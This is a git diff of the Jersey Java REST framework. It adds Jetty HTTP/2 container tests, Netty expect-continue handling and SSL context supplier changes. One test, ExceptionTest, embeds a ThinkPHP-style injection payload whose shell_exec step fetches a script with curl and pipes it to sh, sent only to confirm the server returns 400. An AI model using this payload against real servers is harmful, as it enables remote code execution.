a/containers/jetty-http2/src/main/java11/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java +++ b/containers/jetty-http2/src/main/java11/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java @@ -30,7 +30,6 @@ import org.glassfish.jersey.jetty.JettyHttpContainer; import org.glassfish.jersey.jetty.JettyHttpContainerFactory; import org.glassfish.jersey.jetty.JettyHttpContainerProvider; -import org.glassfish.jersey.jetty.http2.LocalizationMessages; import org.glassfish.jersey.server.ContainerFactory; import org.glassfish.jersey.server.ResourceConfig; diff --git a/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AbstractJettyServerTester.java b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AbstractJettyServerTester.java new file mode 100644 index 0000000000..6134d03f1e --- /dev/null +++ b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AbstractJettyServerTester.java @@ -0,0 +1,126 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2; + +import java.net.URI; +import java.security.AccessController; +import java.util.logging.Level; +import java.util.logging.Logger; + +import jakarta.ws.rs.RuntimeType; +import jakarta.ws.rs.core.UriBuilder; + +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.internal.util.PropertiesHelper; +import org.glassfish.jersey.server.ResourceConfig; + +import org.eclipse.jetty.server.Server; +import org.junit.jupiter.api.AfterEach; + +/** + * Abstract Jetty Server unit tester. + * + * @author Paul Sandoz + * @author Arul Dhesiaseelan (aruld at acm.org) + * @author Miroslav Fuksa + */ +public abstract class AbstractJettyServerTester { + + private static final Logger LOGGER = Logger.getLogger(AbstractJettyServerTester.class.getName()); + + public static final String CONTEXT = ""; + private static final int DEFAULT_PORT = 0; // rather Jetty choose than 9998 + + /** + * Get the port to be used for test application deployments. + * + * @return The HTTP port of the URI + */ + protected final int getPort() { + final String value = AccessController + .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port")); + if (value != null) { + + try { + final int i = Integer.parseInt(value); + if (i <= 0) { + throw new NumberFormatException("Value not positive."); + } + return i; + } catch (NumberFormatException e) { + LOGGER.log(Level.CONFIG, + "Value of 'jersey.config.test.container.port'" + + " property is not a valid positive integer [" + value + "]." + + " Reverting to default [" + DEFAULT_PORT + "].", + e); + } + } + return DEFAULT_PORT; + } + + private final int getPort(RuntimeType runtimeType) { + switch (runtimeType) { + case SERVER: + return getPort(); + case CLIENT: + return server.getURI().getPort(); + default: + throw new IllegalStateException("Unexpected runtime type"); + } + } + + private volatile Server server; + + public UriBuilder getUri() { + return UriBuilder.fromUri("http://localhost").port(getPort(RuntimeType.CLIENT)).path(CONTEXT); + } + + public void startServer(Class... resources) { + ResourceConfig config = new ResourceConfig(resources); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + final URI baseUri = getBaseUri(); + server = JettyHttp2ContainerFactory.createHttp2Server(baseUri, config, true); + LOGGER.log(Level.INFO, "Jetty-http server started on base uri: " + server.getURI()); + } + + public void startServer(ResourceConfig config) { + final URI baseUri = getBaseUri(); + server = JettyHttp2ContainerFactory.createHttp2Server(baseUri, config, true); + LOGGER.log(Level.INFO, "Jetty-http server started on base uri: " + server.getURI()); + } + + public URI getBaseUri() { + return UriBuilder.fromUri("http://localhost/").port(getPort(RuntimeType.SERVER)).build(); + } + + public void stopServer() { + try { + server.stop(); + server = null; + LOGGER.log(Level.INFO, "Jetty-http server stopped."); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + @AfterEach + public void tearDown() { + if (server != null) { + stopServer(); + } + } +} diff --git a/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AsyncTest.java b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AsyncTest.java new file mode 100644 index 0000000000..ac1ebb5d95 --- /dev/null +++ b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AsyncTest.java @@ -0,0 +1,169 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2; + +import java.util.concurrent.ExecutionException; +import java.util.concurrent.Future; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.TimeoutException; +import java.util.concurrent.atomic.AtomicInteger; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.container.AsyncResponse; +import jakarta.ws.rs.container.Suspended; +import jakarta.ws.rs.container.TimeoutHandler; +import jakarta.ws.rs.core.Response; + +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import static org.hamcrest.CoreMatchers.is; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.hamcrest.MatcherAssert.assertThat; + +/** + * @author Arul Dhesiaseelan (aruld at acm.org) + * @author Michal Gajdos + */ +public class AsyncTest extends AbstractJettyServerTester { + + @Path("/async") + @SuppressWarnings("VoidMethodAnnotatedWithGET") + public static class AsyncResource { + + public static AtomicInteger INVOCATION_COUNT = new AtomicInteger(0); + + @GET + public void asyncGet(@Suspended final AsyncResponse asyncResponse) { + new Thread(new Runnable() { + + @Override + public void run() { + final String result = veryExpensiveOperation(); + asyncResponse.resume(result); + } + + private String veryExpensiveOperation() { + // ... very expensive operation that typically finishes within 5 seconds, simulated using sleep() + try { + Thread.sleep(5000); + } catch (final InterruptedException e) { + // ignore + } + return "DONE"; + } + }).start(); + } + + @GET + @Path("timeout") + public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) { + asyncResponse.setTimeoutHandler(new TimeoutHandler() { + + @Override + public void handleTimeout(final AsyncResponse asyncResponse) { + asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE).entity("Operation time out.") + .build()); + } + }); + asyncResponse.setTimeout(3, TimeUnit.SECONDS); + + new Thread(new Runnable() { + + @Override + public void run() { + final String result = veryExpensiveOperation(); + asyncResponse.resume(result); + } + + private String veryExpensiveOperation() { + // ... very expensive operation that typically finishes within 10 seconds, simulated using sleep() + try { + Thread.sleep(7000); + } catch (final InterruptedException e) { + // ignore + } + return "DONE"; + } + }).start(); + } + + @GET + @Path("multiple-invocations") + public void asyncMultipleInvocations(@Suspended final AsyncResponse asyncResponse) { + INVOCATION_COUNT.incrementAndGet(); + + new Thread(new Runnable() { + @Override + public void run() { + asyncResponse.resume("OK"); + } + }).start(); + } + } + + private Client client; + + @BeforeEach + public void setUp() throws Exception { + startServer(AsyncResource.class); + client = ClientBuilder.newClient(); + } + + @Override + @AfterEach + public void tearDown() { + super.tearDown(); + client = null; + } + + @Test + public void testAsyncGet() throws ExecutionException, InterruptedException { + final Future responseFuture = client.target(getUri().path("/async")).request().async().get(); + // Request is being processed asynchronously. + final Response response = responseFuture.get(); + // get() waits for the response + assertEquals("DONE", response.readEntity(String.class)); + } + + @Test + public void testAsyncGetWithTimeout() throws ExecutionException, InterruptedException, TimeoutException { + final Future responseFuture = client.target(getUri().path("/async/timeout")).request().async().get(); + // Request is being processed asynchronously. + final Response response = responseFuture.get(); + + // get() waits for the response + assertEquals(503, response.getStatus()); + assertEquals("Operation time out.", response.readEntity(String.class)); + } + + /** + * JERSEY-2616 reproducer. Make sure resource method is only invoked once per one request. + */ + @Test + public void testAsyncMultipleInvocations() throws Exception { + final Response response = client.target(getUri().path("/async/multiple-invocations")).request().get(); + + assertThat(AsyncResource.INVOCATION_COUNT.get(), is(1)); + + assertThat(response.getStatus(), is(200)); + assertThat(response.readEntity(String.class), is("OK")); + } +} diff --git a/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/ExceptionTest.java b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/ExceptionTest.java new file mode 100644 index 0000000000..60e086bc71 --- /dev/null +++ b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/ExceptionTest.java @@ -0,0 +1,97 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2; + +import org.apache.http.HttpHost; +import org.apache.http.client.methods.CloseableHttpResponse; +import org.apache.http.impl.client.CloseableHttpClient; +import org.apache.http.impl.client.HttpClientBuilder; +import org.apache.http.message.BasicHttpRequest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.PathParam; +import jakarta.ws.rs.WebApplicationException; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Response; + +import java.io.IOException; +import java.net.URI; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author Paul Sandoz + */ +public class ExceptionTest extends AbstractJettyServerTester { + @Path("{status}") + public static class ExceptionResource { + @GET + public String get(@PathParam("status") int status) { + throw new WebApplicationException(status); + } + + } + + @Test + public void test400StatusCodeForIllegalSymbolsInURI() throws IOException { + startServer(ExceptionResource.class); + URI testUri = getUri().build(); + String incorrectFragment = "/v1/abcdefgh/abcde/abcdef/abc/a/%3Fs=/Index/\\x5Cthink\\x5Capp/invokefunction" + + "&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl+--user-agent+curl_tp5+http://127.0" + + ".0.1/ldr.sh|sh"; + BasicHttpRequest request = new BasicHttpRequest("GET", testUri + incorrectFragment); + CloseableHttpClient client = HttpClientBuilder.create().build(); + + CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request); + + assertEquals(400, response.getStatusLine().getStatusCode()); + } + + @Test + public void test400StatusCodeForIllegalHeaderValue() throws IOException { + startServer(ExceptionResource.class); + URI testUri = getUri().build(); + BasicHttpRequest request = new BasicHttpRequest("GET", testUri.toString() + "/400"); + request.addHeader("X-Forwarded-Host", "_foo.com"); + CloseableHttpClient client = HttpClientBuilder.create().build(); + + CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request); + + assertEquals(400, response.getStatusLine().getStatusCode()); + } + + @Test + public void test400StatusCode() throws IOException { + startServer(ExceptionResource.class); + Client client = ClientBuilder.newClient(); + WebTarget r = client.target(getUri().path("400").build()); + assertEquals(400, r.request().get(Response.class).getStatus()); + } + + @Test + public void test500StatusCode() { + startServer(ExceptionResource.class); + Client client = ClientBuilder.newClient(); + WebTarget r = client.target(getUri().path("500").build()); + + assertEquals(500, r.request().get(Response.class).getStatus()); + } +} diff --git a/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/LifecycleListenerTest.java b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/LifecycleListenerTest.java new file mode 100644 index 0000000000..93ae01fac7 --- /dev/null +++ b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/LifecycleListenerTest.java @@ -0,0 +1,133 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2; + +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.server.spi.AbstractContainerLifecycleListener; +import org.glassfish.jersey.server.spi.Container; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Response; + +import static org.hamcrest.CoreMatchers.equalTo; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertTrue; + + +/** + * Reload and ContainerLifecycleListener support test. + * + * @author Paul Sandoz + * @author Marek Potociar + */ +public class LifecycleListenerTest extends AbstractJettyServerTester { + + @Path("/one") + public static class One { + @GET + public String get() { + return "one"; + } + } + + @Path("/two") + public static class Two { + @GET + public String get() { + return "two"; + } + } + + public static class Reloader extends AbstractContainerLifecycleListener { + Container container; + + public void reload(ResourceConfig newConfig) { + container.reload(newConfig); + } + + public void reload() { + container.reload(); + } + + @Override + public void onStartup(Container container) { + this.container = container; + } + + } + + @Test + public void testReload() { + final ResourceConfig rc = new ResourceConfig(One.class); + + Reloader reloader = new Reloader(); + rc.registerInstances(reloader); + + startServer(rc); + + Client client = ClientBuilder.newClient(); + WebTarget r = client.target(getUri().path("/").build()); + + assertEquals("one", r.path("one").request().get(String.class)); + assertEquals(404, r.path("two").request().get(Response.class).getStatus()); + + // add Two resource + reloader.reload(new ResourceConfig(One.class, Two.class)); + + assertEquals("one", r.path("one").request().get(String.class)); + assertEquals("two", r.path("two").request().get(String.class)); + } + + static class StartStopListener extends AbstractContainerLifecycleListener { + volatile boolean started; + volatile boolean stopped; + + @Override + public void onStartup(Container container) { + started = true; + } + + @Override + public void onShutdown(Container container) { + stopped = true; + } + } + + @Test + public void testStartupShutdownHooks() { + final StartStopListener listener = new StartStopListener(); + + startServer(new ResourceConfig(One.class).register(listener)); + + Client client = ClientBuilder.newClient(); + WebTarget r = client.target(getUri().path("/").build()); + + assertThat(r.path("one").request().get(String.class), equalTo("one")); + assertThat(r.path("two").request().get(Response.class).getStatus(), equalTo(404)); + + stopServer(); + + assertTrue(listener.started, "ContainerLifecycleListener.onStartup has not been called."); + assertTrue(listener.stopped, "ContainerLifecycleListener.onShutdown has not been called."); + } +} diff --git a/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/OptionsTest.java b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/OptionsTest.java new file mode 100644 index 0000000000..3e7a8ac4c1 --- /dev/null +++ b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/OptionsTest.java @@ -0,0 +1,62 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2; + +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.core.Response; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class OptionsTest extends AbstractJettyServerTester { + + @Path("helloworld") + public static class HelloWorldResource { + public static final String CLICHED_MESSAGE = "Hello World!"; + + @GET + @Produces("text/plain") + public String getHello() { + return CLICHED_MESSAGE; + } + } + + @Test + public void testFooBarOptions() { + startServer(HelloWorldResource.class); + Client client = ClientBuilder.newClient(); + Response response = client.target(getUri()).path("helloworld").request().header("Accept", "foo/bar").options(); + assertEquals(200, response.getStatus()); + final String allowHeader = response.getHeaderString("Allow"); + _checkAllowContent(allowHeader); + assertEquals(0, response.getLength()); + assertEquals("foo/bar", response.getMediaType().toString()); + } + + private void _checkAllowContent(final String content) { + assertTrue(content.contains("GET")); + assertTrue(content.contains("HEAD")); + assertTrue(content.contains("OPTIONS")); + } + +} diff --git a/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/HttpVersionChooser.java b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/HttpVersionChooser.java index 320d7bae32..af52543b38 100644 --- a/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/HttpVersionChooser.java +++ b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/HttpVersionChooser.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2016, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2016, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -20,6 +20,7 @@ import io.netty.channel.ChannelHandlerContext; import io.netty.handler.codec.http.HttpServerCodec; +import io.netty.handler.codec.http.HttpServerExpectContinueHandler; import io.netty.handler.codec.http2.Http2MultiplexCodecBuilder; import io.netty.handler.ssl.ApplicationProtocolNames; import io.netty.handler.ssl.ApplicationProtocolNegotiationHandler; @@ -55,6 +56,7 @@ protected void configurePipeline(ChannelHandlerContext ctx, String protocol) thr if (ApplicationProtocolNames.HTTP_1_1.equals(protocol)) { ctx.pipeline().addLast(new HttpServerCodec(), + new HttpServerExpectContinueHandler(), new ChunkedWriteHandler(), new JerseyServerHandler(baseUri, container, resourceConfig)); return; diff --git a/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/JerseyServerHandler.java b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/JerseyServerHandler.java index dbe8dc784c..0b43e1efa6 100644 --- a/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/JerseyServerHandler.java +++ b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/JerseyServerHandler.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2016, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2016, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -88,10 +88,6 @@ public void channelRead(final ChannelHandlerContext ctx, Object msg) { if (msg instanceof HttpRequest) { final HttpRequest req = (HttpRequest) msg; - if (HttpUtil.is100ContinueExpected(req)) { - ctx.write(new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, HttpResponseStatus.CONTINUE)); - } - nettyInputStream.clear(); // clearing the content - possible leftover from previous request processing. final ContainerRequest requestContext = createContainerRequest(ctx, req); diff --git a/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/JerseyServerInitializer.java b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/JerseyServerInitializer.java index b6d73fd584..0cdbb3bfd1 100644 --- a/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/JerseyServerInitializer.java +++ b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/JerseyServerInitializer.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2016, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2016, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -25,6 +25,7 @@ import io.netty.channel.socket.SocketChannel; import io.netty.handler.codec.http.HttpMessage; import io.netty.handler.codec.http.HttpServerCodec; +import io.netty.handler.codec.http.HttpServerExpectContinueHandler; import io.netty.handler.codec.http.HttpServerUpgradeHandler; import io.netty.handler.codec.http2.Http2CodecUtil; import io.netty.handler.codec.http2.Http2MultiplexCodecBuilder; @@ -103,6 +104,7 @@ public void initChannel(SocketChannel ch) { p.addLast(sslCtx.newHandler(ch.alloc())); } p.addLast(new HttpServerCodec()); + p.addLast(new HttpServerExpectContinueHandler()); p.addLast(new ChunkedWriteHandler()); p.addLast(new JerseyServerHandler(baseUri, applicationPath, container, resourceConfig)); } @@ -123,6 +125,7 @@ private void configureClearText(SocketChannel ch) { final HttpServerCodec sourceCodec = new HttpServerCodec(); p.addLast(sourceCodec); + p.addLast("respondExpectContinue", new HttpServerExpectContinueHandler()); p.addLast(new HttpServerUpgradeHandler(sourceCodec, new HttpServerUpgradeHandler.UpgradeCodecFactory() { @Override public HttpServerUpgradeHandler.UpgradeCodec newUpgradeCodec(CharSequence protocol) { diff --git a/core-client/src/main/java/org/glassfish/jersey/client/ClientProperties.java b/core-client/src/main/java/org/glassfish/jersey/client/ClientProperties.java index cd90578f4f..64963c6ef5 100644 --- a/core-client/src/main/java/org/glassfish/jersey/client/ClientProperties.java +++ b/core-client/src/main/java/org/glassfish/jersey/client/ClientProperties.java @@ -24,6 +24,7 @@ import org.glassfish.jersey.internal.util.PropertiesHelper; import org.glassfish.jersey.internal.util.PropertyAlias; +import jakarta.ws.rs.client.Client; import jakarta.ws.rs.client.ClientBuilder; /** @@ -481,6 +482,16 @@ public final class ClientProperties { */ public static final String CONNECTOR_PROVIDER = "jersey.config.client.connector.provider"; + /** + *

The {@link javax.net.ssl.SSLContext} {@link java.util.function.Supplier} to be used to set ssl context in the current + * HTTP request. Has precedence over the {@link Client#getSslContext()}. + *

+ *

Currently supported by the default {@code HttpUrlConnector} and by {@code NettyConnector} only.

+ * @since 2.41 + * @see org.glassfish.jersey.client.SslContextClientBuilder + */ + public static final String SSL_CONTEXT_SUPPLIER = "jersey.config.client.ssl.context.supplier"; + private ClientProperties() { // prevents instantiation } diff --git a/core-client/src/main/java/org/glassfish/jersey/client/ClientRequest.java b/core-client/src/main/java/org/glassfish/jersey/client/ClientRequest.java index f9539b037a..992311eddd 100644 --- a/core-client/src/main/java/org/glassfish/jersey/client/ClientRequest.java +++ b/core-client/src/main/java/org/glassfish/jersey/client/ClientRequest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -33,7 +33,6 @@ import jakarta.ws.rs.core.Configuration; import jakarta.ws.rs.core.Cookie; import jakarta.ws.rs.core.GenericType; -import jakarta.ws.rs.core.HttpHeaders; import jakarta.ws.rs.core.MediaType; import jakarta.ws.rs.core.MultivaluedMap; import jakarta.ws.rs.core.Response; @@ -42,6 +41,7 @@ import jakarta.ws.rs.ext.WriterInterceptor; import org.glassfish.jersey.client.internal.LocalizationMessages; +import org.glassfish.jersey.http.HttpHeaders; import org.glassfish.jersey.internal.MapPropertiesDelegate; import org.glassfish.jersey.internal.PropertiesDelegate; import org.glassfish.jersey.internal.guava.Preconditions; diff --git a/core-client/src/main/java/org/glassfish/jersey/client/HttpUrlConnectorProvider.java b/core-client/src/main/java/org/glassfish/jersey/client/HttpUrlConnectorProvider.java index 056f474dde..e0446d2f0b 100644 --- a/core-client/src/main/java/org/glassfish/jersey/client/HttpUrlConnectorProvider.java +++ b/core-client/src/main/java/org/glassfish/jersey/client/HttpUrlConnectorProvider.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -283,7 +283,9 @@ public interface ConnectionFactory { * @throws java.io.IOException in case the connection cannot be provided. */ default HttpURLConnection getConnection(URL url, Proxy proxy) throws IOException { - return (proxy == null) ? getConnection(url) : (HttpURLConnection) url.openConnection(proxy); + synchronized (this){ + return (proxy == null) ? getConnection(url) : (HttpURLConnection) url.openConnection(proxy); + } } } diff --git a/core-client/src/main/java/org/glassfish/jersey/client/JerseyClient.java b/core-client/src/main/java/org/glassfish/jersey/client/JerseyClient.java index 755fb5ac58..3a39375177 100644 --- a/core-client/src/main/java/org/glassfish/jersey/client/JerseyClient.java +++ b/core-client/src/main/java/org/glassfish/jersey/client/JerseyClient.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2011, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2011, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -20,13 +20,13 @@ import java.lang.ref.ReferenceQueue; import java.lang.ref.WeakReference; import java.net.URI; -import java.util.Iterator; import java.util.Map; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import java.util.concurrent.LinkedBlockingDeque; import java.util.concurrent.ScheduledExecutorService; import java.util.concurrent.atomic.AtomicBoolean; +import java.util.function.Supplier; import java.util.logging.Level; import java.util.logging.Logger; @@ -40,9 +40,7 @@ import org.glassfish.jersey.SslConfigurator; import org.glassfish.jersey.client.internal.LocalizationMessages; import org.glassfish.jersey.client.spi.DefaultSslContextProvider; -import org.glassfish.jersey.internal.ServiceFinder; import org.glassfish.jersey.internal.util.collection.UnsafeValue; -import org.glassfish.jersey.internal.util.collection.Values; import static org.glassfish.jersey.internal.guava.Preconditions.checkNotNull; import static org.glassfish.jersey.internal.guava.Preconditions.checkState; @@ -67,7 +65,7 @@ public SSLContext getDefaultSslContext() { private final boolean isDefaultSslContext; private final ClientConfig config; private final HostnameVerifier hostnameVerifier; - private final UnsafeValue sslContext; + private final Supplier sslContext; private final LinkedBlockingDeque> shutdownHooks = new LinkedBlockingDeque>(); private final ReferenceQueue shReferenceQueue = new ReferenceQueue(); @@ -86,7 +84,7 @@ interface ShutdownHook { * Create a new Jersey client instance using a default configuration. */ protected JerseyClient() { - this(null, (UnsafeValue) null, null, null); + this(null, new SslContextClientBuilder(), null, null); } /** @@ -115,7 +113,9 @@ protected JerseyClient(final Configuration config, final SSLContext sslContext, final HostnameVerifier verifier, final DefaultSslContextProvider defaultSslContextProvider) { - this(config, sslContext == null ? null : Values.unsafe(sslContext), verifier, + this(config, + sslContext == null ? new SslContextClientBuilder() : new SslContextClientBuilder().sslContext(sslContext), + verifier, defaultSslContextProvider); } @@ -145,32 +145,32 @@ protected JerseyClient(final Configuration config, final UnsafeValue sslContextProvider, final HostnameVerifier verifier, final DefaultSslContextProvider defaultSslContextProvider) { - this.config = config == null ? new ClientConfig(this) : new ClientConfig(this, config); - - if (sslContextProvider == null) { - this.isDefaultSslContext = true; - - if (defaultSslContextProvider != null) { - this.sslContext = createLazySslContext(defaultSslContextProvider); - } else { - final DefaultSslContextProvider lookedUpSslContextProvider; - - final Iterator iterator = - ServiceFinder.find(DefaultSslContextProvider.class).iterator(); - - if (iterator.hasNext()) { - lookedUpSslContextProvider = iterator.next(); - } else { - lookedUpSslContextProvider = DEFAULT_SSL_CONTEXT_PROVIDER; - } + this(config, + sslContextProvider == null + ? new SslContextClientBuilder() + : new SslContextClientBuilder().sslContext(sslContextProvider.get()), + verifier, + defaultSslContextProvider + ); + } - this.sslContext = createLazySslContext(lookedUpSslContextProvider); - } - } else { - this.isDefaultSslContext = false; - this.sslContext = Values.lazy(sslContextProvider); + /** + * Create a new Jersey client instance. + * + * @param config jersey client configuration. + * @param sslContextClientBuilder jersey client SSL context builder. The builder is expected to + * return non-default value. + * @param verifier jersey client host name verifier. + * @param defaultSslContextProvider default SSL context provider. + */ + JerseyClient(final Configuration config, final SslContextClientBuilder sslContextClientBuilder, + final HostnameVerifier verifier, final DefaultSslContextProvider defaultSslContextProvider) { + if (defaultSslContextProvider != null) { + sslContextClientBuilder.defaultSslContextProvider(defaultSslContextProvider); } - + this.config = config == null ? new ClientConfig(this) : new ClientConfig(this, config); + this.isDefaultSslContext = sslContextClientBuilder.isDefaultSslContext(); + this.sslContext = sslContextClientBuilder; this.hostnameVerifier = verifier; } @@ -195,15 +195,6 @@ private void release() { } } - private UnsafeValue createLazySslContext(final DefaultSslContextProvider provider) { - return Values.lazy(new UnsafeValue() { - @Override - public SSLContext get() { - return provider.getDefaultSslContext(); - } - }); - } - /** * Register a new client shutdown hook. * diff --git a/core-client/src/main/java/org/glassfish/jersey/client/JerseyClientBuilder.java b/core-client/src/main/java/org/glassfish/jersey/client/JerseyClientBuilder.java index 9277919172..41dbde9950 100644 --- a/core-client/src/main/java/org/glassfish/jersey/client/JerseyClientBuilder.java +++ b/core-client/src/main/java/org/glassfish/jersey/client/JerseyClientBuilder.java @@ -32,16 +32,12 @@ import javax.net.ssl.HostnameVerifier; import javax.net.ssl.SSLContext; -import 